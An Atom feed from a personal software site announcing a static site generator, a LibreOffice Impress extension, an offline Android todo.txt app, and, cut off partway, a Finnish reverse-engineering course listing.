<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Tero Karvinen - learn Free software with me</title>
  <link href="https://terokarvinen.com/"/>
  <link rel="self" href="https://terokarvinen.com/feed.xml"/>
  <id>https://terokarvinen.com/</id>
  <updated>2026-10-13T21:06:00Z</updated>

  <entry>
    <title>siv – static site generator</title>
    <link href="https://terokarvinen.com/siv/"/>
    <id>https://terokarvinen.com/siv/</id>
    <published>2026-10-13T21:06:00Z</published>
    <updated>2026-10-13T21:06:00Z</updated>
    <content type="html">&lt;p&gt;Siv is a static site generator. Author (you) writes MarkDown pages. Siv builds a static HTML website. Templates add navigation and your style.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;chmod&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; ugo+x siv&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; cp&lt;span class=&quot;hl-variable hl-parameter hl-option hl-shell&quot;&gt;&lt;span class=&quot;hl-punctuation hl-definition hl-parameter hl-shell&quot;&gt; -&lt;/span&gt;v&lt;/span&gt; siv /usr/local/bin/&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;siv&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;Next: Create a website:&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;  siv init my-website&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;why-siv&quot;&gt;Why siv &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/siv/#why-siv&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/siv/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Just run &lt;code&gt;siv&lt;/code&gt;.&lt;/strong&gt; It tells you the next step.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A working site from the first minute.&lt;/strong&gt; Write first, tweak the looks later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pictures just work.&lt;/strong&gt; siv makes every size a screen needs, with captions and a lightbox.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mistakes are caught before readers see them.&lt;/strong&gt; Every build checks your links.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Keeps working for years.&lt;/strong&gt; It&#39;s one static binary, with all the help inside: &lt;code&gt;siv help&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Your site is plain HTML: it&#39;s fast, cheap to host and has little to hack or update.&lt;/p&gt;
&lt;h2 id=&quot;some-details&quot;&gt;Some details &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/siv/#some-details&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/siv/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Modern images are supported. Author writes regular MarkDown. Siv creates good quality images. Srcset makes browsers pick the the right sized image - a combination of speed and high visual quality. Images are converted to avif for perceived quality for given filesize. For very old browsers, jpg is provided for backward compatibility. You don&#39;t need to do anything for this to happen, just write MarkDown &lt;code&gt;![Cat with a hat](cat.jpg)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Siv templates uses Jinja-style templates, similar to Django or Tera. Template engine minijinja is written by the author of Jinja2.&lt;/p&gt;
&lt;p&gt;Siv is a single, statically linked binary written in Rust. It uses minijinja and pulldown-cmark. Siv has extensive built-in help and clear error messages. Siv can also &#39;siv explain&#39; any file or folder. So you can confidently build your website, even without Internet.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://terokarvinen.com/siv/siv&quot;&gt;Download siv for Linux&lt;/a&gt;&lt;/strong&gt; - one file, no install, free software. &lt;a href=&quot;https://terokarvinen.com/siv/#other-downloads&quot;&gt;Other downloads&lt;/a&gt;&lt;/p&gt;
&lt;figure&gt;
&lt;a href=&quot;https://terokarvinen.com/siv/siv-screenshot-markdown-to-webpage.w1440.h753ab470.png&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/siv/siv-screenshot-markdown-to-webpage.w480.h753ab470.avif 480w, https://terokarvinen.com/siv/siv-screenshot-markdown-to-webpage.w800.h753ab470.avif 800w, https://terokarvinen.com/siv/siv-screenshot-markdown-to-webpage.w1200.h753ab470.avif 1200w, https://terokarvinen.com/siv/siv-screenshot-markdown-to-webpage.w1440.h753ab470.avif 1440w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/siv/siv-screenshot-markdown-to-webpage.w800.h753ab470.png&quot; srcset=&quot;https://terokarvinen.com/siv/siv-screenshot-markdown-to-webpage.w800.h753ab470.png 800w, https://terokarvinen.com/siv/siv-screenshot-markdown-to-webpage.w1440.h753ab470.png 1440w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot; width=&quot;800&quot; height=&quot;600&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;figcaption&gt;Markdown on the left, the page siv made from it on the right&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id=&quot;license&quot;&gt;License &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/siv/#license&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/siv/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;siv is free software under GPL-3.0-or-later, and your website is yours: license your pages however you like.&lt;/p&gt;
&lt;p&gt;Copyright 2026 Tero Karvinen https://TeroKarvinen.com&lt;/p&gt;
&lt;h2 id=&quot;other-downloads&quot; other-downloads=&quot;&quot;&gt;Other downloads &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/siv/#other-downloads&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/siv/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Common Linux amd64 is the main platform. Other binaries are untested, and provided on best-effort basis (except Windows, that&#39;s provided on worst-effort basis).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/siv/siv-0.1.29-linux-amd64&quot;&gt;siv-0.1.29-linux-amd64&lt;/a&gt; (the common one)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/siv/siv-0.1.29-linux-arm64&quot;&gt;siv-0.1.29-linux-arm64&lt;/a&gt; (e.g. Linux on a Mac)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/siv/siv-0.1.29-windows-amd64.exe&quot;&gt;siv-0.1.29-windows-amd64.exe&lt;/a&gt; (worst effort basis)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/siv/siv-0.1.29-source.tar.gz&quot;&gt;siv-0.1.29-source.tar.gz&lt;/a&gt; (compile it yourself)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Windows users: Upgrade to Linux, try Debian. But before that, press ugly-X (&quot;windows-key&quot;), choose PowerShell, find siv.exe, &quot;Set-Alias siv C:\some\dir\siv-0.0.1-windows.exe&quot;.&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>tBar for LibreOffice Impress</title>
    <link href="https://terokarvinen.com/tbar-for-impress/"/>
    <id>https://terokarvinen.com/tbar-for-impress/</id>
    <published>2026-10-02T17:04:00+03:00</published>
    <updated>2026-10-02T17:04:00+03:00</updated>
    <content type="html">&lt;p&gt;Hide slide overflow.&lt;/p&gt;
&lt;p&gt;Change slide layout from toolbar, don&#39;t waste 10% of screen for sidebar.&lt;/p&gt;
&lt;figure style=&quot;max-width: 629px&quot;&gt;
&lt;a href=&quot;https://terokarvinen.com/tbar-for-impress/tbar.w629.h0b06d183.png&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/tbar-for-impress/tbar.w480.h0b06d183.avif 480w, https://terokarvinen.com/tbar-for-impress/tbar.w629.h0b06d183.avif 629w&quot; sizes=&quot;(max-width: 629px) 100vw, 629px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/tbar-for-impress/tbar.w629.h0b06d183.png&quot; srcset=&quot;https://terokarvinen.com/tbar-for-impress/tbar.w629.h0b06d183.png 629w&quot; sizes=&quot;(max-width: 629px) 100vw, 629px&quot; width=&quot;629&quot; height=&quot;46&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;An extension for LibreOffice Impress.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/tbar-for-impress/tbar-impress.oxt&quot;&gt;Download tbar-impress.oxt&lt;/a&gt;. LibreOffice Impress: Tools: Extensions: Add.&lt;/p&gt;
&lt;br&gt;
&lt;div class=pad&gt;
	&lt;a href=&quot;tbar-impress.oxt&quot; class=&quot;downloadAButton pad&quot;&gt;Download &lt;b&gt;tbar-impress.oxt&lt;/b&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;
&lt;p&gt;&lt;strong&gt;Hide slide overflow&lt;/strong&gt;: Would you like to see what&#39;s actually visible on your slide? Hide slide overflow dims everything outside slide.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Slide layout&lt;/strong&gt;: On toolbar, not sidebar. Ctrl-M for a new slide, then click the layout. Heading and bullets. Or two columns. TBar puts the layout buttons on the toolbar. By default, they are on sidebar, which takes about half a full HD display out of a 4K monitor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Beta&lt;/strong&gt;. Tested with LibreOffice Impress 25.2.3.2. It&#39;s the one that comes with Debian stable, 13-trixie. Or just &#39;sudo apt-get update; sudo apt-get install libreoffice-impress&#39;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Clanker rant&lt;/strong&gt;: Created with the assistance of artificial intelligence. I also had an AI write me a README, but it was so long winded I had to do it again by hand. Even another AI instance said it&#39;s TL;DR time.&lt;/p&gt;
&lt;h2 id=&quot;hide-overflow-what-does-it-look-like&quot;&gt;&lt;span id=&quot;hide-overflow---what-does-it-look-like&quot;&gt;&lt;/span&gt;Hide overflow - what does it look like &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tbar-for-impress/#hide-overflow-what-does-it-look-like&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tbar-for-impress/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;figure&gt;
&lt;a href=&quot;https://terokarvinen.com/tbar-for-impress/screenshot.w1320.he2dc94c8.png&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/tbar-for-impress/screenshot.w480.he2dc94c8.avif 480w, https://terokarvinen.com/tbar-for-impress/screenshot.w800.he2dc94c8.avif 800w, https://terokarvinen.com/tbar-for-impress/screenshot.w1200.he2dc94c8.avif 1200w, https://terokarvinen.com/tbar-for-impress/screenshot.w1320.he2dc94c8.avif 1320w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/tbar-for-impress/screenshot.w800.he2dc94c8.png&quot; srcset=&quot;https://terokarvinen.com/tbar-for-impress/screenshot.w800.he2dc94c8.png 800w, https://terokarvinen.com/tbar-for-impress/screenshot.w1320.he2dc94c8.png 1320w&quot; sizes=&quot;(max-width: 50em) 100vw, 50em&quot; width=&quot;800&quot; height=&quot;414&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;/figure&gt;

</content>
  </entry>

  <entry>
    <title>0x54ask - Todo.txt manager for Android. Offline, works with syncthing. </title>
    <link href="https://terokarvinen.com/0x54ask/"/>
    <id>https://terokarvinen.com/0x54ask/</id>
    <published>2026-08-30T22:24:00+03:00</published>
    <updated>2026-08-30T22:24:00+03:00</updated>
    <content type="html">&lt;p&gt;0x54ask is a todo.txt manager. It supports context (@W at work, @H at home...) and tags (+linux, +bank, +tero).&lt;/p&gt;
&lt;figure class=&quot;right&quot; style=&quot;max-width: 200px&quot;&gt;
&lt;a href=&quot;https://terokarvinen.com/0x54ask/icon.w512.h14a25433.png&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/0x54ask/icon.w480.h14a25433.avif 480w, https://terokarvinen.com/0x54ask/icon.w512.h14a25433.avif 512w&quot; sizes=&quot;(max-width: 200px) 100vw, 200px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/0x54ask/icon.w512.h14a25433.png&quot; srcset=&quot;https://terokarvinen.com/0x54ask/icon.w512.h14a25433.png 512w&quot; sizes=&quot;(max-width: 200px) 100vw, 200px&quot; width=&quot;512&quot; height=&quot;512&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;0x54ask forks SimpleTask Cloudless. It provides passive perks: data safety, automerge, filesystem protection - and it never connects Internet, at all.&lt;/p&gt;
&lt;p&gt;Update: &lt;a href=&quot;https://f-droid.org/en/packages/com.terokarvinen.x54ask/&quot;&gt;Install on F-Droid!&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;install-on-f-droid&quot;&gt;Install on F-Droid &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/0x54ask/#install-on-f-droid&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/0x54ask/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;figure style=&quot;max-width: 269px&quot;&gt;
&lt;a href=&quot;https://f-droid.org/en/packages/com.terokarvinen.x54ask/&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/0x54ask/get-it-on-80h.w269.h20b27775.avif 269w&quot; sizes=&quot;(max-width: 269px) 100vw, 269px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/0x54ask/get-it-on-80h.w269.h20b27775.png&quot; srcset=&quot;https://terokarvinen.com/0x54ask/get-it-on-80h.w269.h20b27775.png 269w&quot; sizes=&quot;(max-width: 269px) 100vw, 269px&quot; width=&quot;269&quot; height=&quot;80&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;figcaption&gt;Get it on F-Droid&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;ps. Hey Google! Don&#39;t be evil. &lt;a href=&quot;https://keepandroidopen.org&quot;&gt;KeepAndroidOpen.org&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;download&quot;&gt;Download &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/0x54ask/#download&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/0x54ask/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/0x54ask/x54ask-cloudless-debug.apk&quot;&gt;Download 0x54ask installer apk&lt;/a&gt; or read &lt;a href=&quot;https://gitlab.com/terokarvinen/x54ask&quot;&gt;sources on GitLab&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;what-is-0x54ask&quot;&gt;What is 0x54ask? &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/0x54ask/#what-is-0x54ask&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/0x54ask/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;0x54ask is a &lt;em&gt;todo.txt&lt;/em&gt; manager. It supports context (@W at work, @H at home...) and tags (+linux, +bank, +tero).&lt;/p&gt;
&lt;p&gt;0x54ask forks SimpleTask Cloudless. It provides passive perks: data safety, automerge, filesystem protection - and it never connects Internet, at all.&lt;/p&gt;
&lt;p&gt;&lt;span&gt;&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/0x54ask/1.w480.h159aa180.avif 480w, https://terokarvinen.com/0x54ask/1.w800.h159aa180.avif 800w, https://terokarvinen.com/0x54ask/1.w1080.h159aa180.avif 1080w&quot; sizes=&quot;(max-width: 247px) 100vw, 247px&quot;&gt;&lt;img src=&quot;https://terokarvinen.com/0x54ask/1.w800.h159aa180.png&quot; srcset=&quot;https://terokarvinen.com/0x54ask/1.w800.h159aa180.png 800w, https://terokarvinen.com/0x54ask/1.w1080.h159aa180.png 1080w&quot; sizes=&quot;(max-width: 247px) 100vw, 247px&quot; width=&quot;800&quot; height=&quot;1778&quot; alt=&quot;list&quot; style=&quot;max-width: 247px&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/picture&gt;&lt;/span&gt;
&lt;span&gt;&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/0x54ask/2.w480.h356aa255.avif 480w, https://terokarvinen.com/0x54ask/2.w800.h356aa255.avif 800w, https://terokarvinen.com/0x54ask/2.w1080.h356aa255.avif 1080w&quot; sizes=&quot;(max-width: 247px) 100vw, 247px&quot;&gt;&lt;img src=&quot;https://terokarvinen.com/0x54ask/2.w800.h356aa255.png&quot; srcset=&quot;https://terokarvinen.com/0x54ask/2.w800.h356aa255.png 800w, https://terokarvinen.com/0x54ask/2.w1080.h356aa255.png 1080w&quot; sizes=&quot;(max-width: 247px) 100vw, 247px&quot; width=&quot;800&quot; height=&quot;1778&quot; alt=&quot;quick filter&quot; style=&quot;max-width: 247px&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/picture&gt;&lt;/span&gt;
&lt;span&gt;&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/0x54ask/3.w480.hbd08793e.avif 480w, https://terokarvinen.com/0x54ask/3.w800.hbd08793e.avif 800w, https://terokarvinen.com/0x54ask/3.w1080.hbd08793e.avif 1080w&quot; sizes=&quot;(max-width: 247px) 100vw, 247px&quot;&gt;&lt;img src=&quot;https://terokarvinen.com/0x54ask/3.w800.hbd08793e.png&quot; srcset=&quot;https://terokarvinen.com/0x54ask/3.w800.hbd08793e.png 800w, https://terokarvinen.com/0x54ask/3.w1080.hbd08793e.png 1080w&quot; sizes=&quot;(max-width: 247px) 100vw, 247px&quot; width=&quot;800&quot; height=&quot;1778&quot; alt=&quot;menu&quot; style=&quot;max-width: 247px&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/picture&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Copyright 2026 Tero Karvinen https://TeroKarvinen.com , Mark Janssen, Willem W and other contributors.&lt;/p&gt;
&lt;h2 id=&quot;todo-txt-manager-context-and-tags&quot;&gt;&lt;span id=&quot;todotxt-manager---context-and-tags&quot;&gt;&lt;/span&gt;Todo.txt manager - context and tags &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/0x54ask/#todo-txt-manager-context-and-tags&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/0x54ask/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Context&lt;/em&gt;: You write down a task. If it was the only thing, what would be the next action? Drill a hole for picture? If the wall is in your home, you&#39;ve got to do it there. Thus, @H (at home).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Tags&lt;/em&gt;: I&#39;ll be working on +linuxeu project for the next 5 hours. Show me all tasks I can bill on that. Thus, filter by +linuxeu.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Plain text&lt;/em&gt;: Todo.txt is - surprise - plain text. You can edit it with vim, emacs, micro or nano. Todo.txt and calendar.txt use the same +plustags and @Contexts.&lt;/p&gt;
&lt;p&gt;Fully offline, or synchronize how you like.&lt;/p&gt;
&lt;h2 id=&quot;0x54ask-passive-perks&quot;&gt;0x54ask passive perks &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/0x54ask/#0x54ask-passive-perks&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/0x54ask/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;What does 0x54ask fork bring to the table? Data safety, better sync, smaller attack surface, modern interfaces. These benefits work passively. You don&#39;t have to do anything to use them.&lt;/p&gt;
&lt;p&gt;0x54ask:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Keeps your data safe&lt;/em&gt;. It automatically detects if todo.txt has been modified by other programs (such as text editor or syncthing). Modifications appear as soon as 0x54ask sees them. Changes are stored as soon as they are made. At the time of writing, current state of file is checked again.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Automatic merge&lt;/em&gt;. If a conflict is detected, 0x54ask can often automatically merge the changes. This is possible, because todo.txt is a line based format, and many changes appear in different lines. Main approach to auto merge is generic and works, no matter which program made the changes. There is additional support for automatic resolution of Syncthing conflicts. Special support is needed, because these sync conflicts can happen while 0x54ask is not running.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Filesystem protection&lt;/em&gt;: You can pick the directory where todo.txt is. This will be the only directory available for the app. This restriction is enforced by the operating system. The whole filesystem backend was updated to use modern SAF, the Storage Access Framework.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;No Internet&lt;/em&gt;, ever. There is no INTERNET permission, so the operating system prevents app from accessing the Internet. Any synchronization is handled by other applications of your choice, Syncthing (Syncthing fork) recommended. You can also use the app completely offline. Also, all networking related code was removed from the app.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And of course, 0x54ask is &lt;em&gt;Free, Open Source Software&lt;/em&gt; under GPL 3 license. I used new name and app id for 0x54ask, while also giving credit to upstreams of this fork. This way, upstream gets credit for their work, but not reports for my bugs.&lt;/p&gt;
&lt;h2 id=&quot;background&quot;&gt;Background &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/0x54ask/#background&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/0x54ask/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The original &lt;em&gt;SimpleTask Cloudless&lt;/em&gt; aka &lt;a href=&quot;https://github.com/mpcjanssen/simpletask-android&quot;&gt;simpletask-android&lt;/a&gt; was developed by &lt;a href=&quot;https://github.com/mpcjanssen&quot;&gt;Mark Janssen&lt;/a&gt;. The original is now archived and removed from F-Droid. The design and UI felt great, and I could not find an alternative that could compete.&lt;/p&gt;
&lt;p&gt;0x54ask is a fork of &lt;a href=&quot;https://github.com/willemw12/simpletask-android&quot;&gt;willemw12/simpletask-android&lt;/a&gt; by Willem W, a fork of the original SimpleTask. Forking made sense, since some of the changes were large (SAF backend), some removed code (networking), and a key promise is not necessarily shared (no Internet in 0x54ask, no plans for Internet in 0x54ask). Like original SimpleTask, willemw12 fork still asked for access to all files and photos on the phone. The fork had many improvements over the original, so it felt like a good starting point.&lt;/p&gt;
&lt;p&gt;Artificial intelligence was used to help create the improvements after forking.&lt;/p&gt;
&lt;p&gt;The task format is &lt;a href=&quot;http://todotxt.com&quot;&gt;todo.txt&lt;/a&gt; by Gina Trapani. Todo.txt works well
with &lt;a href=&quot;https://terokarvinen.com/2021/calendar-txt/&quot;&gt;calendar.txt&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;download-2&quot;&gt;&lt;span id=&quot;download-1&quot;&gt;&lt;/span&gt;Download &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/0x54ask/#download-2&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/0x54ask/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/0x54ask/x54ask-cloudless-debug.apk&quot;&gt;Download 0x54ask installer apk&lt;/a&gt; or read &lt;a href=&quot;https://gitlab.com/terokarvinen/x54ask&quot;&gt;sources on GitLab&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;adminstrivia&quot;&gt;Adminstrivia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/0x54ask/#adminstrivia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/0x54ask/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&quot;Get it on&quot; F-Droid logo property of F-Droid contributors.&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>Sovellusten hakkerointi</title>
    <link href="https://terokarvinen.com/application-hacking/"/>
    <id>https://terokarvinen.com/application-hacking/</id>
    <published>2026-08-18T15:03:00+03:00</published>
    <updated>2026-08-18T15:03:00+03:00</updated>
    <content type="html">&lt;p&gt;Find vulnerabilities in your app - before criminals do.&lt;/p&gt;
&lt;p&gt;This is &quot;Application hacking&quot; in Finnish: &quot;Sovellusten hakkerointi ja haavoittuvuudet&quot;. In nerd speak, it&#39;s reverse engineering. You&#39;ll learn Ghidra, gdb and similar.&lt;/p&gt;
&lt;p&gt;Co-taught with Lari Iso-Anttila. Sold out, queue started.&lt;/p&gt;
&lt;p&gt;Visitor: Otto Ebeling hacked crypto and got big money - legally and ethically. (Maybe OSINT his Ltd 2023)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update: Extra group started!&lt;/em&gt;&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Course name&lt;/td&gt;&lt;td&gt;Sovellusten hakkerointi ja haavoittuvuudet&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Study guide&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://opinto-opas.haaga-helia.fi/course/ICI012AS3A&quot;&gt;Sovellusten hakkerointi ja haavoittuvuudet ICI012AS3A kurssikuvaus&lt;/a&gt;, toteutus &lt;a href=&quot;https://opinto-opas.haaga-helia.fi/realization/ICI012AS3A-3004&quot;&gt;ICI012AS3A-3004&lt;/a&gt;;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Timing&lt;/td&gt;&lt;td&gt;2026 &lt;strong&gt;period 1&lt;/strong&gt;, early autumn (w34-w41) (&lt;a href=&quot;https://terokarvinen.com/application-hacking/#schedule&quot;&gt;schedule&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Credits&lt;/td&gt;&lt;td&gt;5 ECTS&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Classes&lt;/td&gt;&lt;td&gt;Pasila, classroom pa5001 (Tero) and pa3005 (Lari), bring your laptop. Thu 14:00-16:45.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Max students&lt;/td&gt;&lt;td&gt;30, &lt;del&gt;sold out, queue started&lt;/del&gt; Extra group, good change for a place.&lt;/td&gt;&lt;/tr&gt;
